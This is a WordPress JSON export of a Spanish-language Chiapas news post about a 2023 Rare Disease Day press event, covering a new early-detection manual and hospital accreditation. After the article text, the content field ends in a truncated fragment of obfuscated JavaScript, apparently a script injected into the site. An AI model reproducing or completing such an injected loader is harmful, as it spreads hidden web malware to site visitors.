{"id":8823,"date":"2023-02-27T00:31:07","date_gmt":"2023-02-27T00:31:07","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=8823"},"modified":"2023-02-27T00:31:54","modified_gmt":"2023-02-27T00:31:54","slug":"sumar-esfuerzos-para-mayor-informacion-y-conocimiento-sobre-enfermedades-raras-veronica-alcazar","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=8823","title":{"rendered":"Sumar esfuerzos para mayor informaci\u00f3n y conocimiento sobre enfermedades raras: Ver\u00f3nica Alc\u00e1zar"},"content":{"rendered":"\n
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Redacci\u00f3n <\/p>\n\n\n\n

-La presidenta de la Comisi\u00f3n de Salubridad y Asistencia encabez\u00f3 la conmemoraci\u00f3n del D\u00eda Mundial de las Enfermedades Raras junto al Secretario de Salud de Chiapas. –<\/p>\n\n\n\n

Tuxtla Guti\u00e9rrez, Chiapas a 26 de febrero de 2023.- La presidenta de la Comisi\u00f3n de Salubridad y Asistencia del Congreso del Estado Ver\u00f3nica Alc\u00e1zar Cordero, contin\u00faa impulsando pol\u00edticas p\u00fablicas en materia de salud, en ese sentido, en coordinaci\u00f3n con la Asociaci\u00f3n Mexicana de Enfermedades Raras (AMAER), el Centro de Especialidades Pedi\u00e1tricas y la Secretar\u00eda de Salud del Estado, realizaron el evento denominado Rueda de Prensa D\u00eda Mundial de las Enfermedades Raras 2023.<\/p>\n\n\n\n

Lo anterior, con la finalidad de incrementar la informaci\u00f3n, el conocimiento social sobre las enfermedades raras; su percepci\u00f3n como un problema de salud p\u00fablica y de las acciones que se trabajan para la salud de ni\u00f1as, ni\u00f1os y adolescentes de Chiapas a trav\u00e9s de la Comisi\u00f3n de Salubridad y Asistencia en coordinaci\u00f3n AMAER, que dirige Socorro Negrete de Paz, la Secretar\u00eda de Salud, encabezada por Jos\u00e9 Manuel Cruz Castellanos y la responsable de la Cl\u00ednica de enfermedades lisosomales del Hospital de altas Especialidades Pedi\u00e1tricas de Chiapas, Cristina Sesman Bernal.<\/p>\n\n\n\n

En rueda de prensa la legisladora Ver\u00f3nica Alc\u00e1zar dijo que, estas enfermedades implican para los pacientes y sus familias un esfuerzo que sin la ayuda del gobierno ser\u00eda imposible solventar.<\/p>\n\n\n\n

As\u00ed mismo, dio a conocer ante medios de comunicaci\u00f3n nacionales y estatales, integrantes de la Comisi\u00f3n de Salubridad y Asistencia, personal m\u00e9dico, integrantes de DIFs municipales y familiares de pacientes con enfermedades raras, la creaci\u00f3n de un Manual de Procedimientos que busca establecer los lineamientos de la detecci\u00f3n temprana y oportuna.<\/p>\n\n\n\n

Alc\u00e1zar Cordero agreg\u00f3 que, a trav\u00e9s de la Comisi\u00f3n que preside trabajan en una iniciativa para establecer oficialmente el 25 de febrero como el D\u00eda Estatal de las Enfermedades Raras para sensibilizar, visibilizar, darle la importancia y la atenci\u00f3n que se merecen las ni\u00f1as, ni\u00f1os y adolescentes de la entidad que padecen estos diagn\u00f3sticos.<\/p>\n\n\n\n

Hoy -destac\u00f3 en su participaci\u00f3n- tenemos la fortuna de contar con un gobierno sensible y humano, que encabeza el gobernador Rutilio Escand\u00f3n Cadenas, que entiende que los problemas de salud implican una atenci\u00f3n especial por tratarse de vidas humanas, gracias a los esfuerzos de la Secretar\u00eda de Salud liderada por el secretario el Dr. Jos\u00e9 Manuel Cruz Castellanos, quien siempre est\u00e1 sumado a estas nobles causas.<\/p>\n\n\n\n

En su intervenci\u00f3n, el secretario de Salud del estado, Jos\u00e9 Manuel Cruz Castellanos, anunci\u00f3 que en una suma de esfuerzos se inici\u00f3 el proceso para acreditar al Hospital General \u201cDr. Jes\u00fas Gilberto G\u00f3mez Maza\u201d para ampliar la red de atenci\u00f3n en esta materia, al ser el de mayor capacidad resolutiva, fue elegido para que sea la unidad que le d\u00e9 seguimiento en el tratamiento y manejo multidisciplinario a los pacientes mayores de 18 a\u00f1os que vivan con enfermedades raras.<\/p>\n\n\n\n

Despu\u00e9s de la rueda de prensa, las y los asistentes realizaron el encendido de las luces alusivas a la conmemoraci\u00f3n del D\u00eda de las Enfermedades Raras, iluminando el Hospital Gilberto G\u00f3mez Maza y el H. Congreso del Estado, como s\u00edmbolo de que en Chiapas se trabaja en el derecho a la salud de personas que padecen estas enfermedades.<\/p>\n\n\n\n

Finalmente, Alc\u00e1zar Cordero asever\u00f3 \u201cestoy completamente comprometida con la causa, es un tema que no surge por la fecha, ya que venimos trabajando desde hace varios a\u00f1os enfocados en brindarle la atenci\u00f3n que se merecen las ni\u00f1as, ni\u00f1os y adolescentes, pues desde el Pleno del Congreso hemos impulsado estos temas y lo seguiremos haciendo\u201d.<\/p>\n\n\n\n

Asistieron a este evento las diputadas integrantes de la Comisi\u00f3n de Salubridad y Asistencia, Carolina Zuarth Ramos; Elizabeth Escobedo Morales, el diputado Cuahut\u00e9moc Manuel Hern\u00e1ndez G\u00f3mez; la Directora del Hospital Dr. Jes\u00fas Gilberto G\u00f3mez Maza, Ana Mar\u00eda Castro Gardu\u00f1o; la titular de la Unidad de Gesti\u00f3n de Calidad, Norma Esther S\u00e1nchez P\u00e9rez<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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